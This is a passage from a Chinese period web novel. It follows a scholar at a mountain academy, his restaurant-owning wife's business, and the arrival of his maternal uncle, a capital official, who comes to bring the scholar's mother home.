老话也说江山易改本性难移,本性比行文之间的习惯更难改,既如此那便不改了吧,人教人教不会,事教人一次就够了。 裴元认下了自己这个性子,以后吃亏也认了,反正这世上也不止自己一个人儿这般心窄,不还有谢九九呢吗,不怕的。 山中不知岁月长,又一个月的时间转瞬即逝。 山上的天已经不怎么热了,晚上睡觉的时候还得盖被子。 裴元交上去的功课作业跟以前的放在一起对比也有了改变,旁人看了或许说不上到底变在何处,但就是觉得要比以前更舒服,更酣畅淋漓。 “明年童试你肯定稳了。” “是吗,我也这么觉得。” 来人是沈霁,私塾四月收了第一批学生,至今也有几个月了。启蒙用的三字经和百家姓能背诵的有一小半,剩下一大半混在其中也能读完。 认字的话慢一些,但日常简单用字还是大多都学会了。九九乘法表倒是因为朗朗上口基本都学会了,只有个别脑子确实不好使,读书实在一窍不通的,被各自家里给接回去了。 私塾稳定下来,布置好功课,又点了两个学得最好又岁数大的学生监督,再加上还有幺叔爷看着,沈霁这才抽空回府城一趟。 一来往书院里来给先生交他的功课,二来回家看看父母妻儿。 “再有十多天就是中秋节了,怎么不趁着过节再回来。” “想带妻儿爹娘去村里过节,府城这边年年中秋家里上下都要忙得人仰马翻,今年带他们去乡下躲个清净,老宅后院都收拾好了住着舒服。” 或许是去了乡下没有家里人天天在身边耳提面命的说读书的事,沈霁整个人的状态看上去比三月份去找裴元的时候好了不止一星半点。 方才他去他的老师那里交功课,老师也说沈霁这些日子非但没因为教授学童启蒙分了心思,文章的字里行间看上去还更进步了些。 好些观点的切入点都比以前更踏实,文章不再光是文藻华丽,起股中股论证的入手点也比以前更切合实际。 总而言之,以前的沈霁学问好,却如同浮萍飘在水面,现在的沈霁更像是一块沉香木,心思沉得下来看待事情的眼界自然也宽广许多。 “等过完中秋,我家那位带着孩子就不走了,这几个月学生中有几个勤快能干的,帮我在后院辟出一块花园子来,还移了几株桂花过来,再过些日子桂花开了,这日子真真是神仙都不换。” 沈霁的妻子于氏是个很温柔的女子,家中父亲是个老秀才,从小于氏就是读女则女戒长大的。嫁给沈霁以后在家中相夫教子,连跟沈霁红脸都从未有过。 只这次沈霁去鹿鸣村当教书先生,于氏一而再再而三的写信过去,刚开始还婉转迂回,后来就干脆之言她要带着孩子一起住过去。 沈霁要是不回来接她和孩子,她就自己带着孩子找过去。 起初沈霁还以为是自己不在家,家里父母为难于氏。专门回去一趟,却发现父母跟于氏相处得极好,只是一向温柔内敛的妻子这一次却固执的摇摇头,非要跟自己去鹿鸣村。 “也真是有意思,原本是不想带她去村里的。可看着她那样子话到嘴边就是说不出口。她那话说得倒是没错,夫妻嘛总归是要日夜待在一处才好。” 这话听得本来已经在书院静下心来读书的裴元心里老不是滋味,都是夫妻,自己怎么就没收找谢九九一封信。 心里存了事,连着两天裴元有空就往谢文济的斋舍去。坐在谢文济身旁也不做声,就这么定定的看着,等要走了再幽幽然问一句:你姐可曾给你寄了信。 谢文济哪里受得住裴元这般哀怨怨念,晚上连做梦都是他姐夫坐在自己书桌旁问自己,是不是把他姐姐的信给昧下来了,真真吓死个人。 幸好中秋节近,谢九九托人送到书院的包裹来得及时,这才救了谢文济一命。 坛子里的鲊鱼腌得正好,猪油炒出来的酸辣藕丁爽口下饭。加了浸辣椒和泡辣椒一起做的酸萝卜条黄瓜条,是裴元夜里挑灯读书的时候醒神最离不得的东西。 实在困了累了脑子转不动了,先吃一块酸萝卜条,要是不够就再挑一根酸透了的辣椒扔进口中,嚼吧嚼吧整个口腔里又酸又辣,再困的困意也全无了。 最后还有两大罐腊肉酱,腊肉先盐、花椒、八角桂皮等香料胭脂,再用柴火加松果和橘皮一起熏制,这么熏出来的腊肉更香。 熏好以后挂到厨房里的房梁上,做饭的时候柴火饭香日日这么熏着,直至熏透了,连肥肉都晶莹剔透带着淡淡的琥珀黄,这腊肉才算成了。 做酱的腊肉先切成细条再切成丁,放茶籽油热锅,先下腊肉把肉香油香都炒出来,再放准备好的辣椒粉。这么炒出来的辣肉酱放凉了再收进坛子里,秋天放个半个月不成问题。 辣肉酱用来拌面拌粉,或是夹炊饼馒头都好吃。裴元喜欢拿来夹馒头,大方分给崔鹤儒的,老头儿直接拿来拌饭,连菜都不吃了。 一大罐子辣肉酱谢九九琢磨裴元足够吃到中秋节前,谁知不过五天就见了底。 等见了底老头儿还皱着眉问裴元怎么吃得这么快,是不是他晚上写文章的时候偷吃了。 问得裴元实在没忍住,拿衣袖遮住脸朝自己的老师翻了老大一个白眼。 翻完了,又觉得这小老头一个人住在书院多少有些可怜,这都要过节了家里也不说来几个人过问一二,回去便抽出信笺把山上的事事无巨细跟谢九九写下来寄回去。【你现在阅读的是 】 40-50 第41章 第41章萝卜丝煮鲫鱼 给书院送信回来的人说,山上比山下冷得早冷得快,尤其大早上的山风一吹人穿得再厚都冷透了。 为此谢九九没隔两天又让托人往书院来了一趟,这次送了四张羊皮褥子来,裴元和谢文济一人两张。 一张垫在床单底下隔绝潮气,一张叮嘱了裴元找书院里的专门负责涮洗的婆子,给点钱让她们把皮褥缝到被子中做里子,这样晚上山里的风再大,也冻不着了。 还有一套直裰和夹了薄棉的罩甲是给崔鹤儒做的,做学生每季给先生准备这些东西是礼数,少不了的。 在给裴元的信中谢九九写得格外实诚,云客来多了炸货档口又推了时令特色菜之后生意好了不少,只来得及做这些东西,新衣裳就先紧着崔先生,你和文济的等以后回家再补上。 谢九九真就是这么想的,本来裴元和谢文济出门的时候就准备了秋里的衣服鞋袜,没时间做新的穿旧的也行。 但崔鹤儒那里不一样,谢九九就听裴元说过,崔鹤儒的妻子没在身边,而是跟他家大儿子一起在任上。说不上什么原因,反正是妻子在府里做老封君,崔鹤儒在书院里当教书先生。 还有个小儿子虽也读书,却走的是武官的路子。卫所隔上几年要换防,这两年也不在跟前伺候。身边就只有一个老奴一个书童和一个负责针线洗刷的妇人。 崔鹤儒当然不缺银子也不缺衣服穿,可裴元毕竟是成了亲的,谢九九作为妻子必须跟他一起尊师重道。 只是这话看在裴元眼里又是另一个意思了,老师独身一人在山上,身边再是有老奴书童也难免有照顾不周的地方。 自己不一样,马上就要八月节了,谢九九现在送信过来说回家再补上,肯定是觉得自己出来太久,这就是变着法的催自己回家。 思及此处,裴元的心情都好了不少,晚上抓紧时间把每天必须的功课写完,把歇在外间的曹勇叫进来,“明天你去找一趟文济,让他这几日把该做的功课赶紧写完,到时候好回家过节。” “少爷,前天裴家又来人了。说是二老太太从高州回来,又说算一算时间京城的信也该到了。” “说重点。” “重点就是三爷说二老太太还没见过少爷,要您中秋节回裴家去。” “不去。” 曹勇早就猜到自家少爷肯定不会答应去裴家,裴元在对裴家的态度上一向灵活。跟关氏有关的事,他就是关氏的亲儿子,裴老三想要干什么都越不过他去。 跟关氏没关系的时候,他又成了裴雨伯的嗣孙,代表的是裴雨伯这一支。 你裴老三要了裴雨伯这一脉的武职,又把亲儿子过继出来什么都不管了。裴元现在做主不跟你们府城的裴家有什么牵扯瓜葛,背地里也许有人置喙裴元心狠不认亲生父亲,但明面上谁也挑不出他的不是来。 谁说亲戚逢年过节就一定要走动了,就是衙门里也没这个规矩。 “还有娘子今天上午也派人来了,说让您中秋节前提前两天回去吃顿饭,说家里准备了中秋节的东西,到时候让您跟着文济 少爷一起回一趟县城。” 本朝一说发配不是岭南就是辽东,岭南一带自古就是烟瘴之地。岳州虽还不到岭南那么远,但两省相交也差不了多少。 从岳州到京城一千余里,从京城再往岳州来又是一千余里。很多事都是刚发生的时候劲儿最大,等过后等的时间久了,天大的事也就那么回事了。 现在关氏就是这样,之前又怕裴家不放自己走,又怕关家收到两个管事的信不高兴,还怕亲娘病重等不到自己回去,总之那些天一天收不到京城的信,她就坐立不安。 现在时间长了虽然还是着急,但不耽误吃不耽误睡的,也就那么回事了。 “我娘那里不着急,你回去一趟,拿这个银子再多买些东西,让东城的蟹老板给我多留几筐螃蟹,中秋节前一天清早我去拿。” “少爷,要那么多螃蟹做什么。” 关氏想跟儿子过中秋,更想儿子以后在谢家过得好,才会主动让裴元带着谢文济一起回容县。 但今年格外特殊些,裴元又怎么可能真的放任关氏一个人留在府城。 “我和你少奶奶成亲,之前不告诉娘是出于无奈。现在既知道了,双方母亲总该见一面才是,现在趁着过节我们一起回县城岂不正好。” 中秋节前一天过去,不麻烦家里岳母娘提前忙活招待好几天。两家合在一起高高兴兴过个中秋,第二天再去黄家一趟,之后就能回府城。 来去不过几天,就算耽误也耽误不了大事。娘说不得要跟着关家的人走,走之前要是不跟亲家见一面,裴元都怕自己丈母娘多心,自己现在这做派真的很像肉包子打狗,要一去不回头。 “诶,我这就回去跟娘子说。娘子要知道可以跟少爷一起回去,肯定高兴的。” 曹勇听他家少爷这么一说立马就高兴了,曹勇是个老实人,老实人大多都有个毛病,就是一根筋。 当年关氏仔细挑选了曹勇买断了身契,回来给裴元做书童就是看中了他这一点。 这些年他跟在裴元身边,不管去哪里都死心塌地的。当初裴元入赘前他也有过犹疑,现在亲事已然做成了,曹勇也自然把谢家当成自己的家,好几个月没回去可惦记了。 府城那边裴元准备着带关氏一起回容县过中秋,容县这边黄娟已经跟在谢九九身后念叨了好几天了。 谢九九嗯嗯啊啊的糊弄着就是不给一句准话,这不今天一大早,还不等谢九九洗漱黄娟就堵到前院来,站在卧室房门口拦住谢九九的去路。 “还有几天就该过节了,你要去今天就赶紧把云客来的事情安排好,明天后天让双喜送你去府城。” “双喜在鹿鸣村一待就是几个月,好不容易回来过节您又折腾他干什么。” 关氏是必走的,以后去了京城再想要见面就难了,裴元再是入赘到自家来了,母子天性如何都该体谅,黄娟今年是必要谢九九去关氏那边过节的。 “你别岔开话题,我跟你说的是过节的事。双喜送你去一趟中秋那天我肯定要多给他个红包,用不着你来操心。” 热水是春儿早上烧好放到房里来的,谢九九提起铜壶把热水倒进铜盆里,把热得有些发烫的湿帕子覆在脸上,热气儿把最后一点困意带走,又是新的一天精神满满准备出门赚钱的谢九九。 “娘,我没说不去啊,我这不是等着书院那边的回信吗。等收到回信了我再去。” 年轻的夫妻,乍一分开怎么可能只有裴元心里不舒服,谢九九心里头照样记挂着。 只不过是白天云客来里忙,忙得来不及想。等到晚上独自在前院歇下了,才会情不自禁的想裴元在书院干什么,从京城到岳州的信又该走到何处了。 黄娟的话说得有道理,在骨肉亲情面前有些规矩就该往旁边站一站。 但再有道理也架不住谢九九心里现在不乐意,谁要裴元每次寄信回来说的都是些书院里极琐碎的事情,连前一日山下摔死了一头猪,山上跟着吃了一顿香猪肉也要写进来。 写了那么多,就是没问一句自己什么时候去府城。她自己也知道自己走不开去不了,可去不了就不问了吗?真是没意思! 黄娟不明白明明要去,为什么还非要收到女婿的回信才肯去。 而谢九九就非要先收到裴元的回信,看看他这次信里面到底又要跟自己写些什么东西,才能决定这次去府城还要不要把给他准备好的东西带过去。 这些话不好跟黄娟说,谢九九嗯嗯啊啊的糊弄一番,然后又借口说云客来忙,忙得脚不沾地的那种忙,这才从家里躲出来。 不过谢九九不是说谎,她是真的忙。自从炸油货的档口开了以后,云客来的人气眼看着就上来了。 云客来用料新鲜,刚从湖里捞起来的鱼,一上码头就被何奎送到饭庄里来,后厨有专门处理的人,因关着两口油锅的是韩婶子,老韩对档口要用的鱼肉米面都上心得很。 两口油锅把荤素分开,能保证不串味,来买吃食的客人也一眼就能看明白。 刚开始来档口买炸货的人大多都往来路过的人,到了吃中饭的点舍不得花钱去馆子里,早餐铺子又收了,就干脆在档口买上几个油饼,也足够果腹。 还有少数从码头过来的人,一部分是听了何奎和他手下人的推荐,还有一些是船停的时间长,下船来走动走动便顺道进城,进了城很轻易就能找到云客来。 东西做得好吃,自然容易一传十十传百,很快不光码头停靠的船客都听说南城有个云客来的炸鱼油饼做得好,老板用的油纸都比别家的厚。 买的东西多了还有炒米送,装在竹筒里的炒米拿油加各种香料炒熟磨碎,等要吃的时候倒出来些冲上一碗,油香油香的,在船上就是一道美食。 现在不光客人们买,船老大们也买,他们有他们的法子多存几天,买回去做菜或是高价卖给客人都可以。 本来弄这个档口是为了聚一聚人气,没想到除了人气之外还真成了一个进项。 再加上裴元提议弄的特色菜,从夏天的五花肉焖鲜笋到现在的白萝卜丝煮鲫鱼,菜都不是贵价菜,做法也就是土菜做法,取胜就是靠味道。 老韩的手艺好,就是做菜做老了的人都有自己的习惯。老韩的习惯就是重油,有多不坏菜是他这辈子天天挂在嘴边说的话。 可特色菜要做出特色就不能太油太腻,谢九九只得跟老韩一起耗在厨房,一道菜来回来去的试,等谢九九在厨房捂出一身痱子,特色菜才算成了。 菜成了,生意就更好了,现在云客来真真事客似云来,谢九九这个做掌柜的自然更加一门心思扑在生意上。 第42章 第42章不速之客 “今天上午约了粮油铺、猪肉东和杂货铺的掌柜结账,你别忘了。” “忘不了忘不了,马上就要过节了,这银子看着好可就是留不住啊。” 端午、中秋、年三十,这三个节前都是饭庄跟各家算账付钱的时候,昨天专门供应鲜菜的、干货铺、酒坊和陶器店的掌柜已经来结过一轮了。 “最近咱们巷子里说得最多的就是大娘子把云客来给盘活了,留不住银子的话你可千万别到人前去说,也就说给我听听就罢了。” 春儿会用算盘也认字儿,虽然写得不好但也够用了。两人坐在马车里她都停不下来,手里捧着个小册子写写画画的,上面的字也就谢九九能看,别人一概不给瞧。 “真的留不住,过完节二楼几个雅间的桌椅屏风都得换一 遍,以前有谢家的那几个碍事的在,潘掌柜是能省则省能用就用,生怕多提一句他们就要插手。” 饭庄里干什么都得花钱,桌椅板凳屏风茶几这些东西要换新的,谢天佑他们要是插手又不知道要从中捞多少好处,潘掌柜索性就不提。 现在饭庄的生意好了,谢九九得赶在冬天之前把该换的家具物件都换一遍。 要不这种要上漆的东西味道大,冬天屋子里还要放炭盆,到时候油漆的味道熏得人睁不开眼,这生意也就不要做了。 旁人现在只看得见云客来如今真的客似云来,却看不见炸货档口卖得多便宜,生意再好其实也就赚了个辛苦钱。 每一季新出的特色菜倒是能赚得多一些,但饭庄里生意好了之前的人手自然忙不过来,这半个月又新招了两个跑堂的两个厨娘回来。 几人之前也是在别的饭馆里干活的,上手快工钱也要得不低。羊毛出在羊身上,这里外里多出去的开支,还不是从成本上挪出来的。 做饭庄的生意,就是出了名的流水大成本也大,店里一块碳一口水都是开支。还要应付衙门里那些吃完就走,一问就是记账上。 账记得清清楚楚就是没有清账的时候,为此黄海从来不到店里来吃饭。他要是过来,打着他的名义过来照顾生意的人还能更多。 “对了,过完中秋还要再进一批砂锅回来。瞧着每一样都是小钱,攒在一起可就不小了。” 等天气冷了萝卜丝煮鲫鱼就要改用砂锅来盛,底下再放泥炉慢慢煮,等把鱼和萝卜丝都吃完了,再放上一小把油麦菜或是莴笋尖下去,就又是另一番滋味了。 现在这个菜每桌必点,到时候砂锅和泥炉都不够用,肯定还要再买。春儿还要拿算盘拿笔在纸上写写画画,谢九九则是已经在心里算出个大概来。 不过这话真的也就是跟春儿发发牢骚,等下了马车进了云客来,谢九九便又是那个人前满面春风的谢大娘子。 见了谁都笑盈盈的,眉眼之间看不出一丝愁绪,且还不知道今日过不了多久,就有一个说不上是惊讶还是惊喜的事情正等着她。 “五爷,还有一个时辰船就要靠岸了。” “收拾收拾东西,下船以后让长康先进城去把客栈定下来,顺道打听打听谢家的事。不要太张扬,别让人知道我们在打听人。” 关家当年跟着一起贬谪到岭南的有五个孩子,老大关如璋眼下在工部官拜侍郎,老二关如珪刚到岭南就一场重病去了。 老三就是关氏关令仪,老四关令容在岭南嫁人成了家。现在从客船上等船舱里出来的是关家的五爷关如琅,考中进士以后一直在翰林院任职。 :.】 今年年初刚从翰林院侍讲兼任詹事府左中允,负责文书校对、记录太子言行。 本朝历来就有非翰林不入詹事,非詹事不入内阁的说法,关如琅入仕之后一直就在翰林院不曾外任,现在又入了詹事府成了实打实的太子近臣。 关家五爷这一条为官路可谓是清贵中的清贵,清流中的清流,才三十五岁的詹事府左中允不常见,朝中人人都说过不了多少年,关家怕是又要再出一个内阁宰辅。 “听说裴小爷在县城有个继承来的宅子,五爷何不直接过去。” “出发前怎么说的,这次南行先去谢家,咱们家的孩子落了难,人家虽说是招了女婿但也不算趁人之危,总该上门拜会一下。” 既然是要去谢家,又哪有先往裴家住的道理。再说老严寄回京城的信里写得很清楚,不管是三姐还是三姐生的儿子,都跟谢家那个大姑娘相处得不错。 自己把姐姐带回京城总要有个着力点,他不想把这份脸面给裴家,自然得借一借谢家的名。 当年关家老爷被贬谪,家里五个孩子都跟着一起往岭南去。 时年十五岁的老大关如璋已经可以当个大人用了,老二关如珪虽跳脱却也能干,谁知刚到岭南没多久,就因为水土不服一场大病没熬过来死了。 再加上因为重病被扔在路上的三姐关令仪,剩下两个小的,老四关令容和老五关如琅,虽年纪小但也早早的懂事起来。 关家在岭南生活了八年,当时谁也不知道关家还能有起复的那一天,所以关令容在岭南生活了八年时,自己挑中了一家三代都在市舶司里为官的丈夫。 后来关家起复,关令容留在岭南一是舍不下丈夫和孩子,二也是想要给关家留一条世世代代都能用的后路。尝过被贬到泥土是什么滋味的人,就知道荣华富贵终不能长久。 关如琅当年年纪虽小,但关家起复时他已经十三岁了,不是没经历过世事艰难的人,比他大哥关如璋又没那么处处圆滑瞻前顾后,这次事关关令仪的事,自然就归了他来处理。 关如琅想得很好,下了船先入城安顿好,老严和老韦两个管事的话他不能全信,他得自己先把谢家和裴元的事重新打听一遍,再做定夺。 但意外总是来得很突然,关如琅一行带了四个小厮四个护院,还有两个管事跟着,极其打眼的一群人从大商船上下来,穿戴虽不奢华可任凭谁一看,也能看得出来他们不是一般客商。 何奎帮着云客来在码头拉客,这段时间已经赚了不少。不光有谢九九给他的人头费,还有这些客商贵人们给的赏钱。 坐船出行是一件极枯燥的事情,头一两天或许还新鲜,等过了那股劲头就只剩无聊无趣无味。下了船最舒服的事除了找个干净整洁的客栈落脚,第二便是吃一顿顺口的饭菜。 关如琅脚刚踩到码头上,就有何奎手底下机灵的小子秋收凑上来,“贵人可是要进容县,小的能带路,上等的客栈最好的饭庄进了南城拐个弯就有。” 关如琅是文人,跟着的小厮和护院也都穿戴整齐,并不是多凶神恶煞的样子。 秋收见状自然赶紧推销云客来,总之就是把云客来的菜吹得天上有地下无,来了容县不吃一次云客来那就是白来了。 客栈只是捎带嘴推的,毕竟要吃就要住,都是一条街上的生意,照顾了别人就是照顾了自己,跟云客来同一条街的两个客栈生意都好了不少,大家抬头不见低头见的,自然就更加和气。 “噢?那云客来真有你说的那么好?” “那是,最近咱们县城生意最红火的饭庄就是云客来。人家是老店了,老掌柜在时候味道就好,现在换了新掌柜,谢大娘子手艺好脑筋也转得快,云客来在她手里啊那可是蒸蒸日上。” “是个娘子当掌柜啊,这可不多见。” “贵人从京城而来,都说京城规矩大,是不是都不让女人出门啊。我们这小县城不一样,家里谁能干谁出头,谁能赚着银子谁就是这个。” 口齿清明的汉子竖了个大拇指,毕竟自家大哥家的秦娘子现在就算得上云客来的二掌柜。 大哥从云客来接的活儿大多都分给了底下的兄弟们,这里头大家伙跟着多赚到的钱,都是托赖娘子们有本事。 “行,那就先去云客来吃顿饭,这顿饭吃得好,小哥的辛苦钱肯定少不了。” 这话一说秋收嘴都要咧到后脑勺去了,一路上不知道被关如琅套去多少话。 秋收把关如琅一行人带到云客来,正好过了中午客人最多的时候。谢九九站在柜台后面打眼一看,就看出关如琅身份不凡。 这人看着低调不打眼,周身也没什么不让人的蛮横无礼,却也能看 出来这人身份不一般。 关如琅今日身上穿的湖青色云纹直裰,料子是上好的杭绸,粗粗一看朴素,细细观瞧就能发现衣摆袖口处用银丝绣的缠枝莲纹。 腰间束的腰带上悬了一块羊脂玉的平安无事牌,玉质温润如同凝脂一般,是谢九九看不懂但也知道肯定是好东西的上等货。 这玉牌牌是本朝的文官和士绅们钟爱的配饰,谢九九本不认识,还是裴元告诉自己的。 他也有一个,玉质不算好,是当年和裴雨伯回家以后裴雨伯这个当祖父给的礼物。 裴雨伯当时没了世袭的总旗武职,又知道裴元一直在读书,就把早年得的一块平安无事牌给了他。裴元那一块落的款为‘平安无事’ ,眼前这个风度翩翩的中年人身上戴的这块落的款为‘慎独。’ 平安无事牌上落什么款都是有讲究的,裴元的平安无事就是最基础的款,而关如琅的慎独则是翰林院里最流行的款。 毕竟翰林院里的官,品级不高却都是实打实的天子近臣。做官一定要站队,但明面上又最忌讳站队。所以慎独就成了翰林院人的口头禅,别管到底能不能做到,嘴上都得说上两句。 谢九九在打量关如琅,关如琅自然也在打量谢九九。不过他是长辈,没有盯着外甥媳妇看的道理,粗粗看过一眼便展开手中折扇遮了脸,示意身边的小厮上前张罗。 关如琅一行人多,护院和小厮一共八个人正好做楼下刚空出来的两桌,两个管事跟着关如琅往楼上雅间去。 关如琅被秦娘子亲自领上二楼的雅间,装作忙得脚不沾地往后厨去的谢九九才转身回来。 那人看自己的眼神不对,虽没恶意但明显往自己身上看了好几眼。 谢九九有些猜到了他恐怕是关家的人,关如琅虽没有什么都没说,但他带来的两个管事,身上的衣料子跟那个严管事和韦管事是一样的。 还有,他们自己或许感觉不到,但谢九九却能真切的从他们身上看出一股子‘味儿’来,那股味儿或许就是高门大户里的人才有的,谢九九说不清,但她就是感觉到了。 第43章 第43章要是别说就这辈子都别说…… 果然,不管是坐在楼下的这两桌还是楼上的人,坐下就没再挪过地方。 好在几桌人出手大方,紧着云客来的菜牌上的招牌菜全点了一遍,萝卜丝煮鲫鱼楼下连点了两份,第一锅的汤都被分着喝了还不够,又点了一份才吃上用鱼汤煮的青菜。 谢九九见他们肯花银子又挺老实的就没多管,直到中午的客人都走干净了,炸货档口收了,跑堂的把门板关上半边,一楼只留下靠窗的那两桌人。 秦娘子给他们一人上了一碗茶水,一碟子瓜子一碟子花生,再加上一盘牛乳糖一盘冰糖柑,占住了嘴再怎么枯等也不无聊了。 谢九九的习惯,每天中午和晚上收了银子先粗略算一遍,顺便记下来每天的出菜量和客人之间的反馈,等凑满一个五天再算一个细账。 一个月三十天,等到月底盘账的时候不光账面清楚,哪一天菜送得迟了鱼不新鲜的比平时多了几条都一目了然,做生意嘛该大方让利的时候得大方,该斤斤计较的时候就要死抠死抠。 要不然时间长了,供货的这些老板们送来的东西多少都要掺些水分。这就是为什么老有人说一家饭馆总是刚开业的时候味道最好,时间一长就慢慢慢慢不好吃的原因。 有些东家大撒手,掌柜的又是拿多少银子做多少事,往往等到生意不好到东家都觉得不对劲的时候,想改都改不回来了。 这些都是以前谢德昌在世的时候跟谢九九说的道理,谢九九一直记着。 所以她现在才会每天不厌其烦的把云客来的大小事情都记下来,宁愿把裴元一个人扔在府城都得回来。 云客来就是自己安身立命的根本,就像老百姓种田一样,人哄地皮地哄肚皮,自己守着云客来不糊弄,云客来自然能给自己应得的回报。 即便二楼坐着贵人,谢九九依旧不慌不忙站在柜台后面扒拉她的算盘珠子。 等到把账和事都记下了,去后院小屋里洗了把脸,对着铜镜把发髻松散处梳紧,又扯了扯衣裙确定没有哪里失礼,这才施施然上了二楼。 “贵人今天可吃好了?” “吃好了,那个叫秋收的小子说得果然没错。来了容县就得来云客来吃饭,要不然就白来了。” 桌上的菜已经撤下去了,这会儿摆在桌上的只有一壶茶和几碟子糕点。糕点就是很普通的灯芯糕、白糖糕,唯一特殊些的就是摆在中间的一叠月饼,中秋马上就要到了总得应应景儿。 关如琅看着站在自己跟前一脸笑盈盈模样的谢九九,脸上有疑惑却没有忐忑,更加没有因为自己这个客人吃完了饭赖着不走的怒意,就知道自己的身份她就算不知,也该是猜到七八分了。 “谢掌柜,坐下说。” “那就多谢贵人了。” 都是聪明人,都知道自己猜准了但是都没戳破,关如琅抬手让了让谢九九,本就只有半个屁股挨着椅子的管事,立马就起身把关如琅对面的椅子抽开来,方便谢九九坐下。 “贵人听口音,是京城来的吧。容县离京城千里迢迢,再有几日就是中秋节,贵人不留在家里过节想必是有要事。 来容县找到落脚的客栈了吗,咱们这条街上的客栈好是好,不过靠近南城城门和码头人杂了些。要是贵人不嫌麻烦,我让店里的跑堂带路,城东有个去年刚开张的客栈,住着舒服。” 谢九九最不缺的就是耐心,关家的人不知道怎么回事从主子到奴仆都一个德行,人都来了却不会有话好好说。 之前那个姓严的和姓韦的管事,都找到关氏家里去了说话还要说一半藏一半,才把局面一步一步走到今天,非得关家亲自说出个一二三,关氏才肯回京。 现在关家来了人,明明府城也有水陆码头,却偏偏先往容县来。谢九九不信他不知道他外甥入赘给了自己,自家在容县是开饭庄的,饭庄的名字就是云客来。 既然都知道了,来了为什么不自报家门,非要学着戏台上的搞什么白龙鱼服那一套。不说是吧,那就不要说了,有本事一辈子别说。 严管事寄回家里的信上就说了谢家的姑娘是个人物,牙尖嘴利不说也是真能干,脾气大本事也不小。现在见了真人,老严还真没说假话。 一口一个贵人的说着客气话,话里的意思却都是赶客。先是奚落自己明明有要事来岳州,偏又不肯坦诚相待。又点明要送自己去客栈,那就是连招待客人都懒得招待了。 关如琅清楚自己这一出已经让谢九九不舒服了,当即起身浅浅作了个揖,又让身边的管事把在船上早就写好的拜帖亲自交到谢九九手中,这才自报家门。 “家里收到严管事寄回来的信,母亲当场就激动得昏死过去。请了太医去府里诊治,次日醒来便哭得连话都说不出来。” 庞氏今年六十七,再有三年就该做七十大寿。都说七十古来稀,六七十的老人,年轻的时候又经历过贬谪流放,之前严管事说的老夫人病重并不是虚言。 现在知道了流落在外多年的女儿给人当了外室,生了个儿子又入赘给了商户人家做女婿,心里那滋味真真是五味杂陈,是说不出来的苦。 “我知道你们因为什么不满,此事我不辩解,只希望谢老板能明白,关家和寻常官宦人家不一样,这些年起起落落经历得多了,对人对事就难免小心。” “但我家想要把姐姐找到带回去,也并无半点虚假。 你方才也说过几天就是中秋了,要是关家不是真心实意寻亲,我又何必请了长假耽误公事,一路从京城到容县来。便是虚情,做到这个份上是不是也有几分真意了。” 关如琅说是不辩解,其实还是字字句句都在解释。 关家被赦□□放之罪以后,回到京城并没有马上官复原职,只是把关家的宅子还给关家。 关家一大家子人 ,守着宅子又熬了五年,直到当今圣上登基关家老爷才官复原职。只可惜之后还不到一年,关家老爷就一病不起死了。 之后又是三年丁忧,丁忧完了关家大爷关如璋连着三年把秀才举人进士全考中了,关家才算真正喘过一口气来。 有了这样的经历,不论是关家还是关如璋为人处世都是小心为上,别说关如琅的平安无事牌上的款是慎独,就是关如璋天天挂在嘴边的二字也是小心为上明哲保身。 这样的家风,没有彻底了解关氏的情况之前又怎么可能交底。哪怕是因为年幼家中受影响最小的关如琅,行事不也被影响了嘛。 明明是想要先来容县拜会谢家,可到了地方还是忍不住想要先把谢家里里外外打听清楚,这已经是关家人赖以生存的本能了。 关如琅的话说得滴水不漏,就是谢九九也没法再跟他计较什么。人家都把自家说得那么可怜了,自己要是还不能理解他的难处,岂不是不讲道理。 谢九九仔细把手中的拜帖看过一遍,拜帖上把关如琅的官职写得清楚明白,虽然谢九九不大了解左中允是什么,但从五品是什么意思她还是知道的。 府衙里的通判老爷才从六品,裴元血脉上的祖父就是在高州任通判,这些年裴老三在府城日子过得舒服得意,不就是因为有这么个好爹吗。 从五品的京官又比外任的从六品官员高到稀罕尊贵得多,人家现在愿意好声好气的让自己坐下已然是天大的脸面,要是自己不接这个面子,人家恐怕就没这么好说话了。 谢九九最识时务,想明白了自然也就不生气了。心里默念两遍这是关家的事,自己多看少说不要插手,等心情完全平复了便起身恭敬对关如琅行万福礼。 “关大人的来意民妇已经明白了,只是大人是先来容县而不去府城是何意我还是不明白,大人不妨直说,我和我家能做的,也绝不推辞。” 谢九九还以为关如琅过来是想要先劝说自己自愿跟裴元和离,等拿到自己的和离书,再以他的身份再去县衙拿回裴元入赘前写下的婚书,关家的外甥曾经给人做过上门女婿的事,到了京城就没人知道了。 “还不是我那个好外甥,说要想把我姐姐接回京城就必须光明正大,还要街坊四邻都知道我姐姐是被娘家人找到接回去的,且不能传出什么不好听的流言。” 岳州到底不比京城,外来的过江龙再厉害也比不过地头蛇,裴家要是暗地里作梗,关家不怕裴家,但一时间也没法子。 再说,他也不能为了打老鼠伤了玉瓶,裴家一旦心思歪了,不管传出去什么流言蜚语对姐姐对外甥都不是好事,外甥说得没错,时候再去解释就什么都迟了。 “总不能带着家丁护院挨家挨户的去敲门,敲门就为了说自家这些陈芝麻烂谷子的事也不像话。不如我先来拜访姻亲亲家,再派人往府城去传递消息,让他们都赶紧往府城来。” 裴家、关家小院,接到消息是肯定会马上赶来的。 还有之前关家在府城拜托过的人家,包括李骏他都会下拜帖,关如琅表明了自家的态度,关家在岳州找到流落在外的姑小姐的消息,自然而然会被他们‘无意’见传出去。 更何况来接关氏是詹事府的左中允,这可是实打实的太子近臣,那些跟关家有交情的人家或早或晚肯定会抽空来容县跟关如琅见一面。 府城这些有头有脸的人家都动起来往容县来,这里面的内情再被关如琅另外派去府城的人渲染一二,还怕传扬不开吗。 第44章 第44章是个妙人 关如琅是不想给裴家好脸色,又怕在府城有什么动作都被地头蛇裴家盯着,这才直接略过府城先来容县,借了拜会谢家的由头把人都引到容县来。 谢九九看着眼前的男人,第一次从心底里觉得服气,果然是读书人,果然是大官儿,这法子确实用得好,也不知道以后裴元当官了,是不是也会长成这样。 “既然关大人都安排妥当了,民妇自然要好好配合大人。 大人千里迢迢过来要不先歇下吧,我家丈夫和弟弟都在青松书院读书,家里不好待客。我叫我大舅舅来,大人可以暂且住在我舅舅家。” “不过我舅舅家不大,客院也小,恐怕住不下大人带来的这么多人。 两位管事留两个一个护院和一个小厮跟关大人一起住我舅舅家,其他人可以住在巷口外不到二百米处的客栈里,出入也很方便。” 时下招待客人亲戚,最殷切亲近的做法都是把人带回家里住,不熟的亲戚才会打发去住客栈。 自家不能住,裴元那老宅只有老高夫妻看守,后面两进都锁了门,平时只有老高隔上几天到后面去看一看,要是有破损漏雨的地方及时修补就行了,房子不破但不好好收拾一番绝对住不了人。 